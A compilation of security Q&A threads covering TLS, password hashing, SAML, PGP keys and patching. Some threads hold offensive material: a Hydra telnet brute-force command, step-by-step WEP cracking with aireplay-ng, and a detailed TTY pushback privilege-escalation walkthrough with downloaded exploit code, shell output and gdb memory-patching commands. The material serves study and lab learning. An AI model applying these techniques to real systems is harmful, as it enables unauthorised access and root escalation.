My un-informed thinking is that my ip addresses are public info already. They'll be sent to any machine I connect to. Maybe my ethernet address has some security issue?

Is there any security based reason to block them out what-so-ever?

IP addresses are the identity of your server (kind-of). Giving information about you IP address can be useful to someone that would try to directly attack you.

By looking up your IP address over the internet, one might find information you left there (server config files, availble services, hardware ...) that can be use to passively gather intel on your potential vulnerabilities. This can be done because the IP is tied to the information (over forums or others), or because you know tied your own identity to this IP. Then one might get more information by tracking you instead of the IP.

Furthermore, this increases your 'visibility' by giving up a valid target in the open.

IP addresses are indeed public, and intel can be gathered many ways, but this is not a reason to make it easy for attackers to learn more about your infrastructure.


Unable to display login username in Hydra So I'm performing an authentication cracking lab using Hydra, I use the following command;

hydra -L /usr/share/ncrack/minimal.usr -P /usr/share/wordlists/s1.txt -f -V 192.168.99.22 telnet

The command used seems to give me the intended result, however, it doesn't display the actual username. The output is somewhat like this

[23][telnet] host: 192.168.99.22   login: *# minimal list of very common usernames*    password: *thepassword*

How do I make it display the actual login username?

The weird thing is, if I use the same command for SSH, it gives me the proper username and password combination. Something like this

[22][ssh] host: 192.168.99.22   login: root   password: *thepassword*

Please help.

Check your /usr/share/ncrack/minimal.usr file...

Remove the line # minimal list of very common username from the file; otherwise, Hydra will not work as expected.


Has Microsoft released a patch for MS17-010? Is there a patch or fix to safeguard against the MS17-010 (EternalSynergy + EternalRomance + EternalChampion) exploit yet?

Yes, it was patched. This page lists all the patches for MS17-010 across the different Windows operating systems and versions.

You can also disable SMBv1 for improved security, by following the steps listed in this knowledgebase article:

  For desktop operating systems:

  Open Control Panel, click Programs, and then click Turn Windows features on or off.
  In the Windows Features window, clear the SMB1.0/CIFS File Sharing Support checkbox, and then click OK to close the window.
  Restart the system.

  For server operating systems:

  Open Server Manager and then click the Manage menu and select Remove Roles and Features.
  In the Features window, clear the SMB1.0/CIFS File Sharing Support check box, and then click OK to close the window.
  Restart the system.


How configure tomcat 7 SSL to use AES-NI? My server has AES-NI and I would like tomcat 7 to make use of this but I am not really sure how to make that happen or where to even start looking. I am quite familiar with tomcat administration, and understand the various connectors that tomcat makes available. Tomcat is running on CentOS 6.3 and Oracle Java 7 update 15.

Here are some of my questions.

What SSL cipher suites will benefit from AES-NI?
Can it be turned on with Oracle Java 7 update 15?
If using the tomcat native connectors that are based on the apache APR and openssl what do I have to do to turn it on?
Will AES-NI increase SSL performance significantly?

Let me answer your last question. No, AES-NI will not increase your SSL performance significantly. A CPU which has the AES-NI instructions can encrypt data without using these instructions at a rate of more than 120 MB/s (probably more than 200 MB/s on a server), i.e. more than 10 (or 20) times what 100 MBit/s ethernet can provide. Correspondingly, the best you can hope for, at the best of times and with a supremely efficient hardware implementation of AES, is to save less than 10% (or 5%) on CPU. That's not "significant". Since you use Tomcat to process the data, I seriously doubt that the encryption cost of AES is even detectable on your server. Sure, with AES-NI the processor can encrypt 15 times faster, but since encryption already uses a negligible overall amount of CPU, what would be the point ?

A much quoted data point is what Google said when they switched Gmail to site-wide SSL: they measured a CPU load increase by a meagre +1%. Of course, impact may vary on site type and amount of processing for each request, but we can keep that in mind: SSL is cheap. Making it cheaper will not offer tremendous gains.

Now, for your other questions, the implementation of AES which uses AES-NI instructions should be automatically selected (without needing any configuration on your part) if all of the following are true:

The CPU supports the AES-NI instructions.
The actual implementation of AES (as used in SSL) is OpenSSL.
That version of OpenSSL is 1.0.1 or later.

Thus, if you use Tomcat behind mod_ssl (in Apache) and your local OpenSSL library is recent enough, then you already benefit from AES-NI goodness. If you do the SSL with Tomcat itself (thus relying on Java's internal cryptography), then chances are that you end up with some Java code which does not benefit from AES-NI -- but this would deserve investigation (namely benchmarks). My opinion is that it will make no measurable difference whatsoever anyway, so the point is kinda moot.


SIM cards - Keeping my phone calls secret I'm traveling in Canada and I don't want to use my company phone for private calls.
I am also interested in minimizing costs but I am more concerned about relative anonymity. So I bought a SIM card locally and it works well.  Will my employer still be able to see texts and log my phone calls?  I want to avoid this.

I think M'vy gave the right answer in the comments, so I would like to expand on it in a full-sized answer.

Have a look at your threat model

People always say "I want to be safe". That's nice, but what do you want to be safe from? What is the possible attacker in your scenario, and what is their goal?

Are you afraid your employer might listen to your phone calls? Are you afraid the government is tracking who you are in contact with? Those two require radically different solutions.

Think about possible attack vectors

I will assume that your threat model is your employer tracking who you are in contact with. Different threat models require different solutions.

If you use the phone your employer provided you with, it's entirely plausible that your employer installed some spyware that listened to your calls and sent copies of those calls to them. It may not be legal to do so, but it's entirely possible.

If you use the SIM card provided by your employer, they are legally the partner of that contract. As such, they can an legally contact the phone company and ask for the log of conversation partners. This will list metadata of all incoming and outgoing calls, but not the contents of those calls. Depending on who your conversation partner is, this might reveal a lot about the contents already.

Think about possible solutions

The easiest solutions for both of these is to not use things provided by your employer. Mobile phones can be bought for less than 50 USD, some even as low as 30 USD. You already bought a pre-paid SIM card, so that's fine.

Keep in mind that this doesn't mean that you are 100% anonymous. Depending on the contents of your calls, you might be of interest to government organizations. In this case, you're on your own.


Use passphrase-protected private key to validate user passwords I'm curious about validating user passwords (for logins and such).
I see that it is common to use a salted hash to store (safely) user passwords with the intent to validate user logins.

My question:

Would using passphrase-protected private keys be an equivalently safe method of doing this?

Possible implementation:

When a user creates an account on your platform they would give you the password they intend to use. The server would then take the password and generate a new private key (based on your choice of entropy) and use the user's password as the passphrase to 'protect' the private key. You would then store the passphrase-protected private key paired with the user name so when someone tries to login with a given (registered) username, you can lookup the private key and try and unlock it with the provided password.

Ok, let us see what is involved in both case.

Standard salted hash

On password creation, user gives the clear text password. It is hashed with a secure salted algorythm and only the hash is stored

On further logins, user gives the clear text password. The salt is extracted from the password store and the hash are compared

Security heavily relies on the quality of the hashing algorithm, but is a strongly documented point, and on the intrinsic quality of password - read entropy of password generation
Password is used as the password for a private key

It is basically the same process, the only difference is that the hashing algorithm is replaced with an attempt to unlock a password protected key. It now depends on the encryption algorithm used to encrypt the private key. That is also a strongly documented point.

That means that you have only changed a hashing algorithm with an encrypting one. BTW the original hashing algorithm used in old Unix system was based one the encryption of an all zero bits byte string with the user password with DES(*), not far from your proposal.

TL/DR: it will just depend on the hashing algorithm and the encryption algorithm used to encrypt the private key

(*) It is in fact a bit more complex because the crypt operation was repeated 25 times and perturbated with salt (ref.) - credits to @RoyceWilliams for the precision.


How to to make a file private by securing the url that only authenticated users can see I was wondering if there is a way to secure an image or a file to be hidden when it is not authenticated.

Suppose there is an image in my website which can only be seen if that user is authenticated. But the thing is I can copy the url or open the image in the new tab.

http://siteis.com/media/uploaded_files/1421499811_82_Chrysanthemum.jpg

And again, even if I am not authenticated, I can view that particular image by going to that url. So, my question is or my problem is, how do I secure the files, so that only authenticated users will see. I hope I was clear, if not please ask. I will really appreciate if you could help me. And if possible in a pythonic/django way.

One solution is to forbid access to the folder where the sensitive files are stored, so that it is not possible to access them directly. For example, place these files under http://siteis.com/secured_uploaded_files/ and place a .htaccess file there (for apache) to prevent access. You can also place the files outside the web server's document root.

Step two is to write code for the following behavior:

URL: http://siteis.com/getfile?id={long_random_identifier}

When the above url is accessed, the server checks if the user is authenticated and authorized to access the resource identified by the given identifier.
If the checks are successful, read the file from its location using server side code and stream it in your response.


Arp replay for cracking WEP key IN Aircrack-ng I'm pretty new to all of this so it might be a little stupid question... but why do we need to wait to capture an arp packet from a client to the AP? Can't we just send a 'fake' arp request to the AP with the client's MAC address instead of ours?

WEP CRACKING

Weak IVs : Weak Ivs are ivs which reveal information about the wep key itself

RC4 in its implementation in WEP has been found to have weak keys. Having a weak key means that there is more correlation between the key and the output than there should be for good security. Determining which packets were encrypted with weak keys is easy because the first three bytes of the key are taken from the IV that is sent unencrypted in each packet. This weakness can be exploited by a passive attack. All the attacker needs to do is be within a hundred feet or so of the AP.

Out of the 16 million IV values available, about 9000 are interesting to the most popular attack tool, meaning they indicate the presence of weak keys. The attacker captures “interesting packets”, filtering for IVs that suggest weak keys. After that attacker gathers enough interesting packets, he analyzes them and only has to try a small number of keys to gain access to the network. Because all of the original IP packets start with a known value, it’s easy to know when you have the right key. To determine a 104 bit WEP key, you have to capture between 2000 and 4000 interesting packets. On a fairly busy network that generates one million packets per day, a few hundred interesting packets might be captured. That would mean that a week or two of capturing would be required to determine the key

Now lets come to your question

why do we need to wait to capture an arp packet from a client to the AP? Can't we just send a 'fake' arp request to the AP with the client's MAC address instead of ours ?

Yes you are absolutly correct you can do this , this is what aireply-ng
do to crack WEP when there is no client associated with the AP

steps are

1- Set the wireless card MAC address
2 - Start the wireless interface in monitor mode on the specific AP channel
3 - Use aireplay-ng to do a fake authentication with the access point
4 - Use aireplay-ng chopchop or fragmentation attack to obtain PRGA
5 - Use packetforge-ng to create an arp packet using the PRGA obtain in the previous step
6 - Start airodump-ng on AP channel with filter for bssid to collect the new unique IVs
7 - Inject the arp packet created in step 5
8 - Run aircrack-ng to crack key using the IVs collected


Taking action for exploit attempts Just recently I see I have had about 40 hits in one second for the following Snort rule- signature id 1:16008, which corresponds to the CVE-2007-6239: "... allows remote attackers to cause a denial of service (crash) via unknown vectors related to HTTP headers...". Both source and destination IPs are internal (private) IPs.

What does general wisdom say in this regard? - should such one-off hits be taken seriously and some action be taken, like blocking the source IP? (well I just run Snort in IDS mode, so I cant actually take any action, but wanted to know this to have more understanding of this) Or should Admins usually wait to see repeated hits before deciding that this is not some false trigger but an actual alert?

Next, putting myself in the shoes of the network admin, do I need to do anything?
I understand this one might be a little difficult to answer with the limited info I have, but I hope to get some idea- check the machines for a possibility of being compromised, temporarily block traffic to the IPs etc...

If you are seeing repeated exploit attempts from a particular IP address it makes sense to block it, or better yet NAT it to a honeypot. Sure, many attackers will have a whole set of compromised servers they can try from, so blocking one of them won't stop them,  however it will force them to respond to you and may convince them that other targets are worth while.

Don't obsess over it though,  you could spend all day blocking IPs and there will still be a million more.


Which cipher is getting used I used Fiddler and hit a https website because wanted to see if I fully disabled SSL and only using TLS on my laptop.

In Request part I see these listed:

Ciphers:
    [3A3A]  Unrecognized cipher - See http://www.iana.org/assignments/tls-parameters/
[C02B]  TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
[C02F]  TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
[C02C]  TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
[C030]  TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
[CCA9]  TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
[CCA8]  TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
[C013]  TLS1_CK_ECDHE_RSA_WITH_AES_128_CBC_SHA
[C014]  TLS1_CK_ECDHE_RSA_WITH_AES_256_CBC_SHA
[009C]  TLS_RSA_WITH_AES_128_GCM_SHA256
[009D]  TLS_RSA_WITH_AES_256_GCM_SHA384
[002F]  TLS_RSA_AES_128_SHA
[0035]  TLS_RSA_AES_256_SHA
[000A]  SSL_RSA_WITH_3DES_EDE_SHA

In Reply section I see this:

A SSLv3-compatible ServerHello handshake was found. Fiddler extracted the parameters below.

> Version: 3.3 (TLS/1.2) SessionID: 96 50 2E A8 9A 79 F0 96 36 47 45 0F
> FE 9C A9 7A 17 71 FC 23 6C 2C B7 AF B9 AF D9 7E F4 98 0C 70
> Random:       AD 94 44 B0 70 49 22 60 35 72 F3 68 C1 25 1D 91 80 E1 FE AD
> D6 80 F1 40 36 E5 7A 38 66 3B EF C1
> Cipher:       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 [0xC02F]
> CompressionSuite: NO_COMPRESSION [0x00] Extensions:
>       renegotiation_info  00      ALPN        h2

The ciphersuite being used is shown in the reply section here: Cipher:       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 [0xC02F]

The version of TLS being used in shown in the same block at the top, here: (TLS/1.2)

So, you are using TLS 1.2 with an RSA certificate for authentication, ECDHE as the key exchange mechanism, the data is being protected with AES-128-GCM, and SHA-256 is the PRF.

However, this does not answer what appears to be your real question, which is SSLv3 disabled?  You cannot tell that from this connection, only that you did not use SSLv3 for this connection, and that your browser (and this server) can successfully negotiate a TLS v1.2 connection.

If you want to ensure that SSLv3 is in fact disabled, you need to attempt to connect to a server that does not support any version of TLS, or in otherwords, anything higher than SSLv3, and ensure that the connection fails.  The fact that you can negotiation a TLS connection tells you nothing about whether you can or cannot connect to a site using SSLv3.

A simpler option:  Use a tool like the SSL Labs browser tester which will immediately tell you what your browser is capable of, and give you a definitive Yes or No on whether SSLv3 support has indeed been disabled.


Distributing public keys; with or without a sub-key? Most of the public keys I am getting from friends have a sub key in addition to the pub key. For educational purposes I retrieved some public keys and came across this Linus Torvalds' key that does not have a sub-key.

pub   1024D/956EB7BF449FA3AB 1999-10-05 [expired: 2001-10-04]
uid               [ expired] Linus Torvalds <torvalds@transmeta.com>

Apparently this key is distributed without a sub key. My own public key looks like this (anonymized for posting purposes).

pub   4096R/96Q1DUTLHW3NHA97 2014-10-27 [expires: 2015-03-11]
uid               [ unknown] First Name Last Name <first.last@provider.org>
sub   4096R/96Q1DUTLHW3NHA96 2014-10-27 [expires: 2015-03-11]

Why would people distribute their public key with a sub-key and what are the advantages of doing that or not doing that?

Advantage of Using Subkeys

Using subkeys has the main advantage that in case you have to revoke them, you're not losing all reputation in the web of trust do not have to exchange new keys with other participants you're communicating with.

For example, if you stored your subkeys (and your public primary key, not your secret primary key!) on a mobile phone which you lost, you can easily revoke this subkeys and create a new key pair; all others just have to fetch your updated primary key to get aware of them (and possibly don't even realize).

If you had put your primary key on your mobile, you had to issue a completely new set of keys, get everybody aware of them and start again in the web of trust (having all certifications lost).

Algorithm Choice

Another reason for subkey usage are algorithmic limitations. While RSA can be used for both signing (certifying) and encrypting, and you don't have to use subkeys for encryption, some algorithms are only capable of one of those. For example, DSA (Digital Signature Algorithm) can only be used to issue signatures and requires another algorithm for encryption, usually ElGamal is used here (which again cannot be used for signing).

Further Information

At least GnuPG automatically creates subkeys

In generally recommend reading Debian's discussion of subkeys, I also answered a slightly related question. Finally, have a look at the offline key section of this answer.


How is SAML solving the cross domain single sign-on problem? Let's say I have two websites that live on separate domains, and their service providers both talk to the same identity provider on a third domain. I log into the first website and authenticate, and now I decide to visit the second website. The second website comunicates with the identity provider so I don't need to log in again to access my account. How is this achieved using SAML? Is it possible to use cookies in this case?

It actually can be a cookie, because it needn't be associated with the service provider at all, only the identity provider.   All either of the two service providers are going to do is make the authentication request to the identity provider, so the process for an unauthenticated user is going to be the same for sp.example1.com as it is for sp.example2.com.

However, when the first request is made from sp.example1.com and the user is redirected to sso.example3.com, the user will login to sso.example3.com and can then set a cookie for sso.example3.com.

Then, when the user visits sp.example2.com, it too will redirect the unauthenticated user to sso.example3.com, but this time, the browser will have a cookie to send along with the request from the last time the user visited sso.example3.com, even though that visit was initiated by a different service provider.

Thus, the cookie from sso.example3.com can identify the user as already authenticated, and the identity provider can continue the process of issuing an assertion for the user to sp.example2.com without requiring the user to complete the login workflow again.


tty push back - priv escalation I am trying to understand TTY push back better (assuming I am even using the correct terminology).

from what I can determine through researching is that tty push back can allow a user to essentially as it says "push back" against a root command and thus gain root privileges: Link describing what i know so far

In the scenario the root user is running an application as another to maybe try and avoid a direct root shell if compromised e.g. su -l www-data -c randomapplication

Reading through the link above it suggests a few things, of which i do not understand (below). what exactly is gdb being used for and are there alternatives for this particular exploit?

The general point of this post is to get a deeper explanation of tty push back and how exactly it works and how to exploit it.

cat <<EOF > /x
#!/bin/bash
exec /TtyPushbackSignalin --NoSignal -- \$'\ntouch /xxx-outside\nstty sane'
EOF
chmod 0755 /x
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x7880cd
(gdb) set *0x8051004=0x8051002
(gdb) set *0x8051008=0
(gdb) set $eax=0x0b
(gdb) set $ebx=0x8051002
(gdb) set $ecx=0x8051004
(gdb) set $edx=0x8051008
(gdb) set $eip=0x8051000
(gdb) quit

C Code POC

OK, this is not a complete answer therefore I preferred to wait for the bounty to expire to not seem opportunistic.  I cannot replicate the linux-vserver part of the vulnerability (mostly because it probably needs a 2.6 kernel and the assembly above will require that both the host and the guest machines are in 32bit mode).  I can only replicate the basic vulnerability, and explain how the rest works.  Here goes:

The pushback

The TIOCSTI ioctl is an esoteric IO control which allows to fake input, from man 4 tty_ioctl

Faking input
    TIOCSTI   const char *argp
           Insert the given byte in the input queue.

Therefore you can place bytes into the input queue of a TTY (or more likely on modern systems PTY, i.e. pseudo terminal) programmatically.

Now, if a TTY is shared by a process that has limited privileges and a process that has elevated privileges (e.g. root shell), you may be able to empty the queue into the elevated privilege shell from the limited shell.  This is performed by the example code sample from halfdog, but there is one extra thing we need to know about: how shells deal with the SIGSTOP signal.  So we will make a detour there.

SIGSTOP, SIGTSTP and shells

SIGSTOP is treated in exactly the same way as SIGTSTP (see the SO question), and SIGTSTP is performed in pretty much all terminals with Ctrl+Z.  A trivial example would be:

]$ less /etc/group  # And hit Ctrl+Z

[1]+  Stopped(SIGTSTP)        less /etc/group
]$ fg  # fg sends SIGCONT, and we are back inside less

Yet, shells ignore SIGTSTP, for example

]# su - grochmal
]$  # Ctrl+Z does not do anything in here
]$ exit
logout
]#  # back into a root shell

Shells do not ignore SIGSTOP but shells that receive SIGSTOP first relay SIGSTOP to all its children and only then wait, this is also the reason you need to use the nohup command when you want a process to survive shell stop (or shell termination).  Hmm... but since nohup can make a process survive shell stop so can one of our processes that implements similar signal handlers.

Moreover, if we can leave our process running after the shell stops and then inject bytes into the TTY input, who will receive those bytes is the root shell!

The code

The example code does exactly that, first it prepares the signal handlers:

sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGSTOP, &sigAction, NULL);

And sends SIGSTOP to its parent (the unprivileged shell):

if (sendSignalFlag) kill(getppid(), SIGSTOP);

It then pushes every byte from the argument after -- into the TTY input:

pushbackLength=strlen(pushbackString)+1;
for(pushbackPos=0; pushbackPos<pushbackLength; pushbackPos++) {
  result=ioctl(0, TIOCSTI,
      pushbackPos+1!=pushbackLength?pushbackString+pushbackPos:"\n");
  if(result) {
    fprintf(stderr, "Pushback failed, result %d, error %d (%s)\n",
        result, errno, strerror(errno));
    return(1);
  }
}

And that's all.  The only extra trick is the $'' syntax which I'll talk about in the next example:

Example of trivial usage

Let's start from a root shell, perform a su - and make a trivial pushback.

]# ls /
bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
]# su - grochmal
]$ wget http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/TtyPushbackSignaling.c
]$ gcc -o ttyp TtyPushbackSignaling.c
TtyPushbackSignaling.c: In function ‘main’:
TtyPushbackSignaling.c:83:28: warning: implicit declaration of function ‘getppid’ [-Wimplicit-function-declaration]
   if (sendSignalFlag) kill(getppid(), SIGSTOP);

That's fine, they just forgot to add #include <unistd.h>.  And now the pushback:

]$ echo yay >/yay
-bash: /yay: Permission denied
]$ ./ttyp -- $'echo yay >/yay\necho nay >/nay\n'
echo yay >/yay
echo nay >/nay

[1]+  Stopped                 su - grochmal
]# echo yay >/yay
]# echo nay >/nay
]#   # here I regain control of the shell
]# jobs
[1]+  Stopped                 su - grochmal
]# ls /
bin  boot  dev  etc  home  lib  lib64  lost+found  media  mnt  nay  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  yay

As the user grochmal I can't write to /yay, but if I push the echo into the input queue and force the root shell to execute it, it goes out with root privileges.  The ./ttyp call uses the $'' shell syntax which allows me to embed \n characters as newlines (0x0a) notas the two characters \ and n.

]$ echo 'yay\nyay'
yay\nyay
]$ echo $'yay\nyay'
yay
yay

Inside the virtual container

(Can't replicate this, can only argue about how it should work)

Now comes the tricky bit of your question, namely this:

cat <<EOF > /x
#!/bin/bash
exec /TtyPushbackSignalin --NoSignal -- \$'\ntouch /xxx-outside\nstty sane'
EOF
chmod 0755 /x
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x7880cd
(gdb) set *0x8051004=0x8051002
(gdb) set *0x8051008=0
(gdb) set $eax=0x0b
(gdb) set $ebx=0x8051002
(gdb) set $ecx=0x8051004
(gdb) set $edx=0x8051008
(gdb) set $eip=0x8051000
(gdb) quit

This expects a vitualisation engine (in this case linux-vserver) to share a TTY between the host and the guest machines.  In other words we are not escalating privileges from a normal user to root but from root on a virtual machine into root on the host machine.

The first part is not that different from the trivial example above.  We create a script named /x and call the pushback code from inside it.  The only differences are:

We will call this upon logout (see more below), so we do not need to send SIGSTOP ourselves.  We use --NoSignal for that (it controls that flag in the code).
We need to escape the $ (\$) since it needs to be passed to exec

So yeah we have a script (/x) that is executable (chmod 755).  If we can force that script to be called upon logoff (and the TTY is shared) we win.  We know that logoff is performed by waking up the login process which then returns the TTY.

Note: most of today's Linux systems will be using systemd-login not plain login.

The assembly part

The login process is waiting for SIGCONT (just like any stopped process) and its memory is owned by root of the virtual machine.  Since we own that memory we can make the process execute whatever we want by corrupting it.  That is what GDB is doing there.  Based on the register names in that excerpt we can see that it is running on an i386 Intel CPU, which is little-endian and has a word size of 32bits (4 bytes).  We can rewrite that GDB part to an equivalent that use full words (GDB would use full words anyway, the following is just more explicit):

gdb --pid [pid of login process]
(gdb) set *0x8051000=0x007880cd
(gdb) set *0x8051004=0x08051002
(gdb) set *0x8051008=0x00000000
(gdb) set $eax=0x0000000b
(gdb) set $ebx=0x08051002
(gdb) set $ecx=0x08051004
(gdb) set $edx=0x08051008
(gdb) set $eip=0x08051000
(gdb) quit

We are overwriting EIP the instruction pointer to point to a place in memory which we overwrite with 0x007880cd.  cd is an OPCODE which take one byte as an argument therefore we can read it as an operation cd80 or simply int 0x80 in Intel assembly (remember that this is little-endian).

int 80 happens to be the interrupt that performs a syscall on x86 (i386) Intel.  The interrupt number is taken from the EAX register, which we have overwritten with 0x0b.  We can check for that interrupt number in the Linux kernel headers, i.e. in x86/include/generated/asm/syscalls_32.h.  It happens to be:

#ifdef CONFIG_X86_32
__SYSCALL_I386(11, sys_execve, )
#else
__SYSCALL_I386(11, compat_sys_execve, )
#endif

So yeah, once it wake up, the login process will perform the sys_execve system call.  But, wait, according to man 2 execve, that system call has arguments:

int execve(const char *filename, char *const argv[], char *const envp[]);

All (well, almost all) syscalls have 3 arguments, they are take from the EBX, ECX and EDX registers, which we also conveniently overwrite:

EBX contains 0x08051002, which is 2 bytes after 0x08051002, which we have set to 0x007880cd.  If we remember that this is a little endian machine we can see that the first two bytes after 0x08051002 are 0x0078.  This is interpreted as const char * therefore it is the character x (0x78) and the string terminator \0 (0x00).
ECX should be a const char **, a pointer of pointers (null terminated for syscall purposes).  On x86 Intel a pointer is 4 bytes long.  We set ECX to 0x08051004, and the first 4 bytes contain 0x08051002 which is a pointer to the string "x" (remember? that is the content of EBX).  The next 4 bytes (at 0x08051004) contains only zeros terminating the pointer of pointers.
EDX contains 0x08051008 which (as a const char **) points to 4 bytes of zeros, meaning a null argument.

Therefore, in plain C, our call could be written as:

const char *x = "x";
const char **ar = { x, 0 };
execve(x, ar, ar[1]);

This technique of reusing memory locations for several arguments in a syscall is very common in shellcode, this is because it reduces the size of it.

Extra notes

The guys at halfdog also mention NX and ASLR but I have no clue why.  NX and ASLR protect from buffer overflows when the attacker either can only overwrite the stack or cannot analyze the specific instance of a process ('cause the stack start is randomized).

NX prevent execution of assembly from the stack.  But we do not care about the stack, we pretty much can corrupt the memory next to the current EIP which would be in a part of memory that is allowed to contain executable instructions.
ASLR randomises the start of the stack location in memory.  This prevents a buffer overflow from knowing where it is.  There was a vulnerability here that allowed to overcome it by bouncing of lib-exec (mentioned by halfdog), but it has long been fixed pretty much everywhere.

You can defeat both by simply using GDB and /proc/<PID>/stat to find the current EIP, see the relevant SO question, and corrupt memory close to it instead of 0x8051000.

Conclusion

The vulnerability performed an execve call from the corrupted login process.  This execve started the script that pushed bytes into the TTY input queue which then was read by the host machine shell.

I could not replicate this on anything I had.  I admit that I did not use an environment similar to what halfdog did (kernel 2.6, x86 Intel, linux-vserver; instead I tried x86_64, kernels 3.16 and 4.7, and Xen).  One thing that bugs me is how the execve call finds the script (that's my major issue with replication), I believe that linux-vserver leaves the host shell in the / filesystem of the guest machine (see man 7 path_resolution).  Nevertheless, I hope that this more or less clarifies how this should work.


Plugin for integrating SQLMAP and BURP SUITE I am trying to do SQL Injection using the SQLMAP Burp Plugin which I downloaded from  http://code.google.com/p/gason/downloads/list. I have followed the steps for windows provided in  http://resources.infosecinstitute.com/sqlmap-burp-plugin-2/.
But when I am running the command provided, I am getting an error like:

Could not find or load main class "-classpath"

I have tried replacing the classpath with the path of the plugin, but this didn't help. Can someone please help me solve this thing? This is for Windows 7.

Is single dash. Anyway, be sure of change the burp version to yours. So, in the example of the link you put, the command is: Java –classpath burpplugins.jar:”burpsuite_v1.4.0.1.jar” burp.StartBurp . In my case, is Linux, the Java must be in lowercase java, not your case because you are using windows which is case insensitive for this... and my command is java -classpath burpplugins.jar:”burpsuite_v1.7.0.3.jar” burp.StartBurp but the point is you must unzip the files in the same folder as burp is.

Anyway, the plugin doesn't contribute too much in my opinion. You can save into a file (from burp) the http request you need and then you can use sqlmap instead with -uparameter to specify a URL using a -rto specify the file with the http request you want to use and is the same.


Possible MITM attacks on ECDH-RSA or ECDHE-RSA prevents As I understood a simplified ECDH-RSA key exchange protocol works like below

Alice request Bob for its ECDH public key
Bob generates ECDH parameters and sign them with a CA provided RSA certificate. And Bob sends ECDH parameters and the signature.
Alice verifies the signature and then share it's own public key
Now both Alice and Bob have a common shared sceret key.

Could below scenario possible?

Same as above
Eve keeps a copy of Bob's public key. Eve doesn't modify the key so when Alice check the signature it is valid.
When Bob share his public key, Eve keep Alice's public key and send his own public key to Bob.

Now there is a shared secret between Eve and Bob. But the shared secret Alice will compute will be different as Alice computes shared secret with Bob's Public Key and his own private key.

Eve has Alice's Public key, Bob's Public Key and his own private key. Is there any way Eve can generate the same secret key as alice? Or can Eve intercept the key in any other way for the above protocol?

No. The private keys are never sent and generating Alice's private key from the public key is viewed as impossible with current technology (assuming the algorithm implementations and parameter selections are secure).

See this answer for a description of Diffie Hellman and how the shared secrets can be constructed without sharing all parameters required to build the shared key.


Why can the validity of an SSL certificate exceed the registration period of a domain? I can understand why one might desire to purchase a certificate for multiple years but I am left wondering why it appears to be possible to obtain a valid certificate for a domain that may have come under new ownership by way of registering for a short period, deleting and allowing the third party to re-register the name as planned. What's the deal here?

There's just no way to fix it. Even if the registration period is two years and a one year certificate is issued, you could still sell or drop the registration next week. There's nothing the certificate authority can do about that. (Well, I suppose they could monitor the registrations and if there's a change in registrant, they could revoke the certificate. I've never heard of any CA doing that though.)


What data is sent between an NFC/BTLE FIDO U2F device and Chrome (or other agent)? I need to explain what "conversation" occurs between a FIDO U2F device (YubiKey NEO) and the agent (Chrome).

I want to know if it's a challenge response, and ultimately figure out how much computation occurs on the device.

In the case of NFC, the device isn't powered by anything but inductance.  That makes me think the resulting device encryption has a questionable value-add

Regardless transport (NFC, USB, BLE) The U2F client (Chrome) merely repacks and forwards the challenge to the device. All crypto is done in the device's secure element.

Basically, the device signs the challenge (provided by the relying party), along with some meta data (provided by the client) such as what URL the browser was currently visiting, etc (to prevent phishing).


Can remote control still take place during Windows session lock? I was AFK from my Windows 10 machine, without locking it, and came back to an active TeamViewer session and someone remotely performing a PayPal donation. I do not have TeamViewer installed.
I'll reinstall my machine and make some security changes, however I'm wondering: would the same thing have been possible if my session was locked? Does locking one' session protect against any form of remote control?

TeamViewer works like physical access to the machine. The remote user would still have to log in to the Windows session, if you locked the machine.
I think it can still transfer files, if I'm not mistaken. So you wouldn't be 'safe' at all. But it would be a little less convenient for the bad guy.
So locking your machine wouldn't block the attacker from connecting remotely, but it would stop him from using your active user session the way you described it.


Test sslv3 poodle locally in windows I want to check locally whether my webpage has any sslv3 poodle vulnerabilities. How do check this?

openssl s_client -connect facebook.com:443 -ssl3 command works with Linux. On Windows, how do I do this?

Take a look here: Scan for POODLE using nmap from a Windows machine

nmap.exe -p 443 --script ssl-enum-ciphers -oN poodle_443 facebook.com


What are the pros and cons of using sha256 to hash a password before passing it to bcrypt? I recently became aware of the fact that bcrypt truncates passwords to 72 characters. Practically speaking my intuition is that this does not pose any major security problems. However, I understand that it does mean any software libraries that use bcrypt potentially suffer from a "bug" where two ultra-long passwords that begin with the same 72 characters will be equivalent.

The authors of the Django web framework wrote something called BCryptSHA256PasswordHasher to resolve this issue; what it does is first hash users' passwords with SHA256 before passing them to bcrypt.

Some devs on my team were debating the merits of this approach and I just wanted to collect thoughts from the general community. On the one hand, does this not in some sense reduce security by shrinking the total space of possible values being fed into bcrypt? SHA256 will always output 32 bytes, far short of the 72 (significant) bytes that we would have otherwise. On the other hand, without hashing passwords first we essentially have an unevenly distributed space where for every 72-character prefix, all passwords starting with that prefix collide.

My gut feeling is that the distribution issue past 72 bytes is unimportant and that BCryptSHA256PasswordHasher really isn't useful. That said, I also recognize that, generally speaking, frameworks that are as popular and widely-used as Django tend to take these things seriously and have good reasons behind their decisions. So I don't really have much confidence in my gut on this one, if that makes sense.

Am I wrong? Does hashing passwords with SHA256 before bcrypt not reduce security, even theoretically? Is the distribution problem more severe than I realize? Is there something else that I'm just completely not thinking of?

Bcrypt as stated in the Link is limited to 72 Characters.

SHA256 may have an OUTPUT size of only 32 Bytes, It's Message input is ((2^64)-1)\8 or roughly

2305843009213693952 Bytes (assuming a char is 8 bits)

To Bcrypt it's receiving a 32 Byte passphrase to encrypt, To SHA256 that could be a 400 Char data stream (IE password).

So no, you're not losing entropy on this, you're overcoming a limitation in Bcrypts design (If you want to call it a limitation.

Link on SHA2 discussing is sizes:
https://en.wikipedia.org/wiki/SHA-2


